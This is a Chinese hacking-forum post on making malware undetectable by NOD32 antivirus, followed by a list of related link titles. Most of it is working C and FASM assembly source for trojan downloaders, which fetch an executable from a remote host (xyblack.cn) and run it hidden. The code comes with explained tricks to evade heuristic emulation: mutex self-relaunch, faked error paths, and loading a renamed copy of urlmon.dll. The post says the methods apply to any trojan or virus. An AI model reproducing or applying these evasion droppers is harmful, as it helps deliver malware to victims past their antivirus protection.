定位免杀NOD32的一些经验

----collect dying site:http://www.idying.cn

欢迎大家一起讨论

先说下定位方法:

1 NOD32不能正向定位的,定位出来也是不能修改的!针对nod32应该选择反向定位,开始位置为400

填充不一定是90 可以使任意的 现在填90有时候被干扰的

2 使用排除法

收集下目前免杀过NOD32的方法

源码:

1
源码免杀的另类方法函数的延迟加载
例:

复制内容到剪贴板 程序代码
#pragma   comment(lib, "delayimp.lib "); //此处必须

#pragma   comment(linker,   "/DELAYLOAD:ADVAPI32.dll") 
#pragma   comment(linker,   "/DELAY:unload   ")
#pragma   comment(lib,   "ADVAPI32.lib")   //加上这一行就可以了

2

利用多线程反Nod32启发式侦查

复制内容到剪贴板 程序代码
/*--------------------------------------
/Author:GTR4[O.S.T]
/Email:502440115@qq.com
/Time:2009/8/29
/FROM:www.3est.com
/Copyright (c) 2009 GTR4.
/
/Just for fun!
/Do it ,do our best!
*/--------------------------------------

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR     lpCmdLine,
int       nCmdShow)
{
char strAppName[] = "GTR4";
char strPath[MAX_PATH];
HANDLE hMutex = NULL;
//创建互斥对象
hMutex = CreateMutex(NULL, FALSE, strAppName);
if (hMutex != NULL)
{
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
MessageBox(NULL,"Two","",0);
//病毒线程GW...... 自己发挥~
URLDownloadToFile(NULL,"http://.exe","C:\test.exe",0,NULL);
ShellExecute(0,"open","c:\test.exe",NULL,NULL,SW_SHOW);
}
else
{
MessageBox(NULL,"One","",0);
GetModuleFileName(GetModuleHandle(NULL), strPath, sizeof(strPath));
WinExec(strPath, SW_HIDE);
Sleep(1000);
ExitProcess(-1);
}
}
return 0;
}

3 百度找的一些资料

下面我们来深入的剖析nod32的启发机制:

我还是用简单的下载者来进行实例的分析,这个无关紧要,因为nod32的机制是一样的,这些方法你可以用到任意的例如木马或者是病毒上。。

启发式我觉得应该归根于文件扫描引擎中,所以我们就将其叫做启发式扫描吧。那么nod32,不仅仅只是启发式扫描,并且它也应用了传统的特征码匹配技术(特征码匹配技术就是截获病毒样本,然后人为的进行逆向分析,这里为nod32的病毒样本分析师帅哥致敬,这些帅哥找出这个样本的一些特殊地方,然后将这这些特殊地方作为特征码存放到病毒库中并其一个名称, 例如nod32的起名规则一般为“平台/定义名称,举例 win32/ trojanDownLoader)。nod32的启发从控制台的文件监控选项也能看出来。

我们看到它有一个高级启发式扫描的选项,我们勾选这个,则扫描引擎在扫描文件的时候才会去调用高级启发式扫描的过程。所以这个大家一定要注意勾选啊。o(∩_∩)o... 否则..如果nod32病毒库没有匹配特征码的话,你就over了。。

nod32的启发比较智能和效率高,其一个原因就是它将一些函数分成一些特定的组合。 例如下载,马上执行这就是一个典型的下载者行为。所以nod32一般会将下载和执行作为下载者的依据。(当然可能还要做更多的判断,例如判断这个程序是否还有其他的行为,如果仅仅是下载执行那么必是一个下载者)。

我们做个测试,写一段代码,仅仅是下载的话。nod32是不查杀的。 我们的代码如下: 
Code:

format PE GUI 4.0 \ 
on '%include%\stub.txt'

entry __start

include 'win32ax.inc'

.text

__start:

xor esi, esi

i URLDownloadToCacheFile, esi, szUrl, szPath, PathSize, esi, esi 
   
ret

;// data /// 
.data

szUrl db 'http://www.xyblack.cn/s.exe', 0 
szPath db 'c:\1.exe', 0 
PathSize = $-szPath

.idata

library urlmon, 'urmon.dll' 
   
include 'api\urlmon.inc'

上述代码编译后,nod32不报毒。

但是只要在     i URLDownloadToCacheFile, esi, szUrl, szPath, PathSize, esi, esi 后加上段任意的执行函数( 如i WinExec, szPath, SW_HIDE),则nod32报毒 。nod32最出色的是它会去分析程序的引入表, 举个例子,例如下载执行的函数大多数都存在于Urlmon.dll以及kernel32.dll以及wininet.dll中等,所以我们的程序只要引入了Urlmon.dll或kernel32.dll,并且只要程序中使用了URLDownloadToCacheFile 函数,并引入kernel32.dll,nod32就会报毒,这无疑简化了很多效率,但是却有误报啊,例如对于一些可以构建pe结构的编译器编译的程序,如果人家引入了kernel32.dll但是功能仅仅是一个下载,你确报毒,这无疑是误报啊。。。。 
但是对于nod32这样出色的杀毒软件,它不会判断你引入这些危险的函数就直接将你定义为病毒, 因为这些函数很多正常的程序也是会调用的。 而它会依据虚拟机代码仿真技术重点对你引入的这些函数去重点进行分析,分析其行为以及参数等。 
那么nod32真的这么难突破吗?    那么下面我们就来实战的通过两个角度来实战突破nod32的启发机制。

突破方式角度1: 
   
   因为nod32是基于虚拟机的形式,所以第一种方法是基于虚拟机。 实质是思维逻辑的判断。 nod32通过虚拟机代码仿真,那么我在其上面给你一段正常的代码。(注:这个之前的大致思路是朋友发现的,不过下面的整个思路和想法是自己所思索的)

举例例如:

i GetModuleFileName, esi, ebx, MAX_PATH 
   
    i WinExec, ebx, SW_HIDE

i ExitProcess, 0

这很正常吧。获得自己的文件路径,运行后就退出。 我想nod32的引擎在虚拟机分析到这里肯定就已经断定是一个正常程序了。   因为尤其是到ExitProcess这个函数地址处,因为这已经表示这个程序退出了。。 
那么大家仔细看,上面是获取自己的路径,然后运行自己。那么我们只要让它在第二次运行的时候去判断自己已经运行过了,从而跳转到特定的地址去执行,这个地址才是我们的木马的代码。   因为nod32每次分析我们的木马,由于是初次运行,所以我们的判断绝对跳转没有实现,所以指令只会去执行这几句代码,所以迫使nod32认为这就是个正常的程序代码。 以此躲过nod32的启发。

实现代码如下:

Code:

format PE GUI 4.0 \ 
on '%include%\stub.txt'

entry __start

include 'win32ax.inc'

.text

__start:

xor esi, esi 
   
i CreateEvent, esi, esi,esi, szMutex 
   
i GetLastError 
   
or eax, eax 
   
jne @f 
   
mov ebx, szName 
   
i GetModuleFileName, esi, ebx, MAX_PATH 
   
i WinExec, ebx, SW_HIDE 
   
i Sleep, 1000 
   
jmp _end 
   
   
@@:

i URLDownloadToFile, esi, szUrl, szPath, esi, esi 
   
i WinExec, szPath, SW_SHOW 
   
_end:

i ExitProcess, 0

;// data ///

section '.data' data readable writeable

szMutex db 'woaihaha',0

szUrl db 'http://www.xyblack.cn/s.exe', 0

szPath db 'F:\2.exe', 0

szName rb MAX_PATH

.idata

library urlmon, 'urlmon.dll',\ 
     kernel32, 'kernel32.dll' 
   
include 'api\urlmon.inc' 
include 'api\kernel32.inc'

解释:     其实就是加了个创建命名内核空间的函数,由于第一次运行创建命名内核对象函数的话是创建成功的,所以我们就是依据这个原理进行了判断,如果创建失败的话再去执行下载函数,而创建命名内核对象的函数是在 所创建的命名内核对象已存在的情况下才会失败,试问nod32来模拟此指令的时候是创建的成功的,所以它会去执行下面的获得程序的文件路径,然后运行自己,退出程序。 在分析到退出程序的时候,它已经认为这个程序是个安全的了。 而我们的程序第二次运行的时候因为内核对象已经存在了,所以创建失败,然后会去执行下载,执行的函数。。

这样,轻松简单的突破nod32启发机制。。

突破方式角度2:

此突破方案,还是基于对nod32虚拟机代码模拟思维逻辑。 由于nod32是基于虚拟机进行,那么我想我精心设计一个函数,使其是个错误的,nod32模拟分析到这里,它模拟到这个函数本就是个错误的。我想它肯定不会在再去分析一遍这个函数,所以它肯定还是分析下面的指令,它分析到执行函数,认为这仅仅就是一个的执行文件的程序嘛,所以也认为是其安全的。。 呵呵,这样也简单的突破nod32的启发。

代码:

Code:

format PE GUI 4.0 \ 
on '%include%\stub.txt'

entry __start

include 'win32ax.inc'

.text

__start:

xor esi, esi 
   
mov edi, edi 
   
xor ebx, ebx 
   
jmp @f 
   
_l1: 
mov edi, szUrl 
   
mov ebx, szPath 
@@: 
i URLDownloadToFile, esi, edi, ebx, esi, esi

or eax, eax 
   
jne _l1 
   
   
i WinExec, szPath, SW_HIDE 
   
i ExitProcess, 0

;// data /// 
.data

szUrl db 'http://www.xyblack.cn/s.exe', 0 
szPath db 'c:\1.exe', 0 
   
PathSize = $-szPath

.idata

library urlmon, 'urlmon.dll',\ 
     kernel32, 'kernel32.dll' 
   
include 'api\urlmon.inc' 
include 'api\kernel32.inc'

突破方式角度3:

此方法是基于动态地址获取的,因为在我分析的过程中,我发现nod32对于非系统库的dll的获取非常不敏感。。     因为LoadLibrary 和GetProcAddress组合,我想nod32肯定将这个函数组合也放到特定的匹配包里了。但是nod32在分析的过程中针对LoadLibrary的参数进行分析时,如果这个参数指向的是非系统的dll,则nod32不进行重点分析,因为这可能是一个用户的dll,并且输出接口名一样也是有可能的。可能这时候有人说我自己写个dll,然后实现一个下载过程,然后输出接口。你要知道你写的dll还是引入了系统的dll的输出接口,所以还是被nod32杀的。 而咱这个是把一个操作系统本身的无毒东东,换个名字就变成有毒的了。 哈哈

代码:

Code:

format PE GUI 4.0 \ 
on '%include%\stub.txt'

entry __start

include 'win32ax.inc'

section '.text' code readable writeable executable

szText db 'URLDownloadToFileA', 0

szUrl db 'http://www.xyblack.cn/bitmap.exe', 0

szPath db 'c:\1.exe', 0

szDll db '\urlmon.dll', 0, 0

szNewPath db 'c:\3.dll',0

szWindowPath rb MAX_PATH

__start:

i GetSystemDirectory, szWindowPath, MAX_PATH 
   
mov edi, szWindowPath 
   
repne scasb

mov ecx, 4 
   
mov esi, szDll 
   
rep movsd 
   
i CopyFile, szWindowPath, szNewPath, FALSE 
   
i LoadLibrary, szNewPath 
   
i GetProcAddress,eax, szText 
   
xor esi, esi 
   
stdcall eax, esi, szUrl, szPath, esi, esi 
   
i WinExec,szPath, SW_HIDE 
   
ret

;// data ///

.idata

library kernel32, 'kernel32.dll'

include 'api\kernel32.inc'

希望此篇文章能引起nod32的高度重视,,并且希望此篇文章可以帮助到大家深入的理解启发机制,此文仅用于技术研究,如果用此文的技术做任何违法事情,本人概不负责。。因为我想目前网络上应该木有任何一篇文章能是本文这样实例进行进行剖析的,最后祝愿祖国的奥运会举办成功!!!!!

源码免杀-过启发式的思路相关推荐

  1. 源码免杀教程 源码免杀思路详解

    绝对不一样的源码免杀教程!绝对不一样的免杀实战体验!清晰的思路!细致全面的思路详解!让你感到免杀原来可以这么简单!教你如何在源代码中找出被杀代码,修改代码从而达到免杀效果! 免杀之-网络攻防入门书籍推 ...

  2. 详谈 vc++源码免杀全套思路方法

    首先说中国国内杀毒软件的特征 . 1  金山毒霸 ,我个人觉得杀的代码部分和字符串还是比较普遍的 .输入表函数 我个人不多见 . 2  瑞星 ,经实战经验 ,瑞星杀毒软件是垃圾. 过掉金山 也就过瑞星 ...

  3. c语言免杀程序源码,Window下基于C/C++源码免杀理论及思路(新手篇)

    作者:冷锋(LengF) [BHST] 博客:www.81sec.com      时间:2011-5-22 0x00 概述 最近搞一个国外的网站,对方是用的赛门铁克的诺顿杀毒软件,而内网又只对外开放 ...

  4. 在linux下做源码免杀,Cobaltstrike免杀从源码级到落地思维转变

    文章来源: https://www.freebuf.com/articles/web/258988.html 前言 距离上一篇文章<那些FastJson漏洞不为人知的事情(开发角度)>已经 ...

  5. 现在主流免杀是源码免杀

    一.文件特征码定位:  一般我们先用MyCCL把被查杀文件的文件特征码定位出来,然后用C32判断定位出来的这个特征码是代码还  是字符串,或者是输入表.输出表.版权信息等-定位在不同的地方,就要用不同 ...

  6. 源码免杀--反调试代码,免杀爱好者必备的利剑

    源码免杀只处理特征码还是不够的,必须要加入反调试代码,这样才能更持久更耐用.这里就发几个暗夜经常用的反调试代码给大家. 1. HKEY ck; char strreg[] = {'S','O','F' ...

  7. 源码免杀处理的技巧与tips

    2019独角兽企业重金招聘Python工程师标准>>> 首先,要了解编译中MAP的利用:     第一步设置VC编译环境生成Map文件. 在 VC 中,点击菜单"Proje ...

  8. 远控软件GHOST源码免杀

    <script type="text/javascript"></script> 远控软件gh0st源码免杀 远控软件gh0st3.6开源了,开源意味着我们 ...

  9. 小七免杀 源码免杀培训班

    被杀毒软件误杀 为什么不学习免杀呢?小七免杀论坛 2013年源码免杀培训课程,带你走进杀毒软件的世界. 百度网盘:http://pan.baidu.com/s/1i3yxshB 提取密码:tt0q 第 ...

最新文章

  1. hadoop错误之ClassNotFoundException
  2. Shell test 命令
  3. [译]编写优雅的JavaScript代码 - 最佳实践
  4. MySQL 数据库 分页查询/聚合查询
  5. vue-cli3项目更改favicon图标
  6. 知乎问题:概率图模型是否有必要系统地学习
  7. Effective C++ 学习笔记(11)
  8. Elasticsearch7.15.2 修改IK分词器源码实现基于MySql8的词库热更新
  9. 在Ubuntu下进行MongoDB安装步骤
  10. 黑马程序员___Java基础[04-继承和多态]
  11. 将Web项目War包部署到Tomcat服务器基本步骤
  12. 计算机cad论文参考文献,autocad论文参考文献大全 autocad参考文献怎么写
  13. 几种ARM编译器及IDE开发环境
  14. 终南山--SpringBoot系列之Spring Data Jpa连表查询和分页
  15. Unity入门 简单的3D场景制作
  16. 三维可视化技术在智慧电厂中的作用
  17. Large Scale Spectral Clustering with Landmark-Based Representation
  18. 常用cdn jq layui
  19. 用Python中的py2neo库操作neo4j,搭建简单关联图谱—基于家有儿女中的人物关系
  20. R packages:fNonlinear———bdsTest——BDS检验

热门文章

  1. maven项目的一键构建
  2. 进化之路:故事从两个线程说起
  3. hystrix之熔断
  4. 口令加密算法 - Java加密与安全
  5. 设置元素的宽和高 元素的left和top 元素卷曲出去的值 为元素绑定事件
  6. Eclipse Debug maven test
  7. Linux Shell特殊字符和控制字符大全
  8. JAVA学生成绩分析系统任务书,学籍管理系统任务书
  9. 65.4. Other GUI - phpOraAdmin
  10. linux中Tomcat 8 文件上传后无访问权限